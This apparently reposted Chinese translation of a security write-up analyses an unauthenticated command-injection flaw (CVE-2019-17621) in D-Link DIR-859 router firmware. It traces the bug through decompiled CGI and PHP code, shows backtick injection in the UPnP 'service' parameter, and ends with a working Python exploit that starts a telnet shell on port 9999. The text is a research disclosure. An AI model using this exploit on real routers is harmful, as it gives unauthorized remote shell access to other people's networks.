用户
搜索
  • TA的每日心情
    擦汗
    2019-1-31 10:58
  • 签到天数: 2 天

    连续签到: 1 天

    [LV.1]初来乍到

    官方账号

    Rank: 7Rank: 7Rank: 7

    231

    主题

    232

    帖子

    1960

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2018-12-21

    i春秋认证

    发表于 2020-1-3 17:11:38 01279

    微信截图_20200103163716.png

    研究人员

    • Miguel Mendez Z.——(s1kr10s)

    • Pablo Pollanco——(secenv)

    技术细节

    • 目标:DIR-859

    • 固件版本:1.06b01 Beta01, 1.05

    • 架构:MIPS 32位

    漏洞

    • 远程代码执行(无需身份验证,一般处于局域网)

    受影响的产品

    33.png

    漏洞分析

    在涉及UPnP请求的代码中发现了远程代码执行漏洞。首先我们简要介绍以一下UPnP协议。

    什么是UPnP?

    UPnP是用在内网中多个设备之间的一种通信协议。它的一个关键功能是能自动地打开端口,无需用户为每个程序手动配置路由。这对于视频游戏系统等特别有用,因为其经常处于动态模式。

    下图我们粗略显示了二进制可执行文件/htdocs/cgibin(涉及固件为DIR859Ax_FW106b01_beta01.binDIR859Ax_FW105b03.bin)中的genacgi_main()函数,正是它包含了可远程执行代码的漏洞,当然我们也必须满足一系列前置条件。

    44.png

    如下所示,sprintf()设置了一个包含所有值的缓冲区,其中含有参数?service=*及其值,这就是我们的关注对象。

    55.png

    为了更好地理解漏洞的运作原理,我们在下面展示了genacgi_main()函数的部分反编译伪代码(为了方便理解,对变量名进行了修改)。

    /* The method has to be SUBSCRIBE to reach the buggy code */
    metodo = getenv("REQUEST_METHOD”);
    request_uri = getenv("REQUEST_URI”);
    request_uri_0x3f = strchr(request_uri,0x3f);
    cmp_service = strncmp(request_uri_0x3f,"?service=",9)
    if (cmp_service != 0) {
         return -1; 
    }
    /* more code */
    valor_subscribe = strcasecmp(metodo,"SUBSCRIBE");
    request_uri_0x3f = request_uri_0x3f + 9;
    if (valor_subscribe != 0) {
     /* more code */
    }
    server_id_3 = getenv("SERVER_ID");
    http_sid_2 = getenv("HTTP_SID");
    http_callback_2 = getenv("HTTP_CALLBACK");
    http_timeout = getenv("HTTP_TIMEOUT");
    http_nt_2 = getenv("HTTP_NT");
    remote_addr = getenv("REMOTE_ADDR”);
        /* more code */
    if (cmp_http_callback == 0) {
         /* more code */
    str_http_callback_0x2f = strchr(http_callback_2 + 7, 0x2f);
          if (str_http_callback_0x2f != (char *)0x0) {
               get_pid_1 = getpid();
    /* vulnerable code */
    sprintf(buffer_8,"%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh", "/htdocs/upnp/run.NOTIFY.php", server_id_3, request_uri_0x3f, http_callback_2 + 7, str_http_callback_0x2f + 1, flag_2, remote_addr, "/var/run", request_uri_0x3f, get_pid_1);
    /* send the data */
                       xmldbc_ephp(0,0,buffer_8,(int)stdout);
    }
    /* more code */
    

    其中xmldbc_ephp()函数(最后调用send())将“buffer_8”中包含的数据发送给PHP。

    int xmldbc_ephp(int 0,int 0_,char *buffer_8,int stdout)
    {
         size_t len_buffer;
         int ret_prepre;
         len_buffer = strlen(buffer_8);
         len_buffer._2_2_ = (short)len_buffer;
         ret_prepre = [send(socket,buffer_8,(uint)len_buffer,0x4000);]
         return ret_prepre;
    }
    

    如代码所示,URL是从环境变量REQUEST_URI中获取的,其结构如下:

    request_uri = "http://IP:PORT/*?service=file_name"
    request_uri_0x3f = strchr(request_uri,0x3f);
    ————strchr()———— + 9 ———— we control the filename with the variable => request_uri_0x3f
    

    通过调用strchr()strncmp(),代码会检查值“0x3f”(等同于问号)和字符串?service=*存在与否。然后,它会验证请求方法:如果调用了SUBSCRIBE,代码将向request_uri_0x3f指针添加一个9字节的偏移量,将其放置在文件名所在的位置。接着其他一些变量被初始化,最后sprintf()用于连接多个变量的值,填充一个缓冲区,设置要传递的新变量,其中SHELL_FILE将以格式%s_%d.sh进行传递,主要用于为新的shell脚本命名。

    一旦数据被复制到“buffer_8”缓冲区后,内存中的数据设置如下:

    66.png

    缓冲区中包含的数据现在由PHP文件run.NOTIFY.php进行处理,其中请求方法会被再次验证。

    文件:run.NOTIFY.php

    $gena_path = XNODE_getpathbytarget($G_GENA_NODEbase, "inf", "uid", $INF_UID, 1);
    $gena_path = $gena_path."/".$SERVICE;
    GENA_subscribe_cleanup($gena_path);
    /* IGD services */
    if ($SERVICE == "L3Forwarding1") 
    $php = "NOTIFY.Layer3Forwarding.1.php";
    else if ($SERVICE == "OSInfo1")
    $php = "NOTIFY.OSInfo.1.php";
    else if ($SERVICE == "WANCommonIFC1")  
    $php = "NOTIFY.WANCommonInterfaceConfig.1.php";
    else if ($SERVICE == "WANEthLinkC1")   
    $php = "NOTIFY.WANEthernetLinkConfig.1.php";
    else if ($SERVICE == "WANIPConn1") 
    $php = "NOTIFY.WANIPConnection.1.php";
    /* WFA services */
    else if ($SERVICE == "WFAWLANConfig1")
    $php = "NOTIFY.WFAWLANConfig.1.php";
    if ($METHOD == "SUBSCRIBE")
    {
           if ($SID == "")
              GENA_subscribe_new($gena_path, $HOST, $REMOTE, $URI, $TIMEOUT, $SHELL_FILE, "/htdocs/upnp/".$php, $INF_UID);
           else
              GENA_subscribe_sid($gena_path, $SID,  $TIMEOUT);
    }
    else if ($METHOD == "UNSUBSCRIBE")
    {
           GENA_unsubscribe($gena_path, $SID);
    }
    

    该脚本会调用PHP函数GENA_subscribe_new(),并向其传递cgibin程序中genacgi_main()函数获得的变量,还包括变量SHELL_FILE。如前面的genacgi_main()代码所示,该变量和文件名有关。

    文件:gena.php,函数GENA_subscribe_new()

    function GENA_subscribe_new($node_base, $host, $remote, $uri, $timeout, $shell_file, $target_php, $inf_uid)
    {
       anchor($node_base);
       $count = query("subsc ription#");
       $found = 0;
    /* find subsc ription index & uuid */
       foreach ("subsc ription")
       {
              if (query("host")==$host && query("uri")==$uri)
              {
                 $found = $InDeX; break;
              }
       }
    if ($found == 0)
       {
              $index = $count + 1;
              $new_uuid = "uuid:".query("/runtime/genuuid");
       } else {
              $index = $found;
              $new_uuid = query("subsc ription:".$index."/uuid");
       }
    /* get timeout */
       if ($timeout==0 || $timeout=="") {
              $timeout = 0; $new_timeout = 0;
       } else {
              $new_timeout = query("/runtime/device/uptime") + $timeout;
       }
    /* set to nodes */
       set("subsc ription:".$index."/remote",$remote);
       set("subsc ription:".$index."/uuid",$new_uuid);
       set("subsc ription:".$index."/host",$host);
       set("subsc ription:".$index."/uri",$uri);
       set("subsc ription:".$index."/timeout",$new_timeout);
       set("subsc ription:".$index."/seq", "1");
       GENA_subscribe_http_resp($new_uuid, $timeout);
       GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $new_uuid);
    }
    

    从上述代码可以看出,GENA_subscribe_new()函数并不修改$shell_file变量。

    我们还可以看到这样两个函数:GENA_subscribe_http_resp(),它只加载要在UPnP响应中传递的请求头,以及GENA_notify_init(),它会接收我们一直跟踪的$shell_file变量。

    文件:gena.php,GENA_notify_init()函数

    function GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $sid)
    {
          $inf_path = XNODE_getpathbytarget("", "inf", "uid", $inf_uid, 0);
          if ($inf_path=="")
          {
             TRACE_debug("can't find inf_path by $inf_uid=".$inf_uid."!");
            return "";
          }
          $phyinf = PHYINF_getifname(query($inf_path."/phyinf"));
          if ($phyinf == "")
          {
            TRACE_debug("can't get phyinf by $inf_uid=".$inf_uid."!");
            return "";
          }
    $upnpmsg = query("/runtime/upnpmsg");
    if ($upnpmsg == "") $upnpmsg = "/dev/null";
    fwrite(w, $shell_file,
    "#!/bin/sh\n".
    'echo "[$0] ..." > '.$upnpmsg."\n".
    "xmldbc -P ".$target_php.
          " -V INF_UID=".$inf_uid.
          "-V HDR_URL=".$uri.
          " -V HDR_HOST=".$host.
          " -V HDR_SID=".$sid.
          " -V HDR_SEQ=0".
          " | httpc -i ".$phyinf." -d \"".$host."\" -p TCP > ".$upnpmsg."\n"
    );
    fwrite(a, $shell_file, "rm -f ".$shell_file."\n"); /* Here, the code is injected as filename */
    }
    

    这就是变量SHELL_FILE终结的地方,它是通过调用PHP函数fwrite()创建的新文件的名称的一部分。这个函数被使用了两次:第一次创建文件,它的名字来自我们控制的SHELL_FILE变量以及getpid()的输出,如下所示:

    Request: http://IP:PORT/*?service=file_name
    System: /var/run/nombre_archivo_13567.sh
    

    第二次调用fwrite()向这个文件添加了一行,其中还使用了rm系统命令,以删除它自己。

    为了进行攻击,我们只需要插入一个反引号包裹的系统命令,然后将其注入到shell脚本中。此时,rm命令将执行失败,因为文件名将被rm所返回的输出(空字符串)所替换。

    Request: http://IP:PORT/*?service=`ping 192.168.0.20`
    System: /var/run/`ping 192.168.0.20`_13567.sh
    Run: rm -f `ping 192.168.0.20`_13467.sh
    

    PoC

    综上所述,我们就可以总结出最后的利用代码。

    import socket
    import os
    from time import sleep
    # Exploit By Miguel Mendez & Pablo Pollanco
    def httpSUB(server, port, shell_file):
        print('\n[*] Connection {host}:{port}').format(host=server, port=port)
        con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"
        request += "Host: " + str(server) + str(port) + "\n"
        request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n"
        request += "NT: upnp:event\n"
        request += "Timeout: Second-1800\n"
        request += "Accept-Encoding: gzip, deflate\n"
        request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"
    
        sleep(1)
        print('[*] Sending Payload')
        con.connect((socket.gethostbyname(server),port))
        con.send(request.encode())
        results = con.recv(4096)
    
        sleep(1)
        print('[*] Running Telnetd Service')
        sleep(1)
        print('[*] Opening Telnet Connection\n')
        sleep(2)
        os.system('telnet ' + str(server) + ' 9999')
    
    serverInput = raw_input('IP Router: ')
    portInput = 49152
    
    httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')
    

    通过这个漏洞,我们可以利用telnet服务来进行访问。

    77.png

    视频

    https://youtu.be/Q1HC5ExoE30
    

    相关脚本和分析:https://github.com/s1kr10s/D-Link-DIR-859-RCE

    感谢你的阅读!

    本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/3772.html
    来源:https://medium.com/@s1kr10s/d-link-dir-859-rce-unautenticated-cve-2019-17621-en-d94b47a15104
    
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册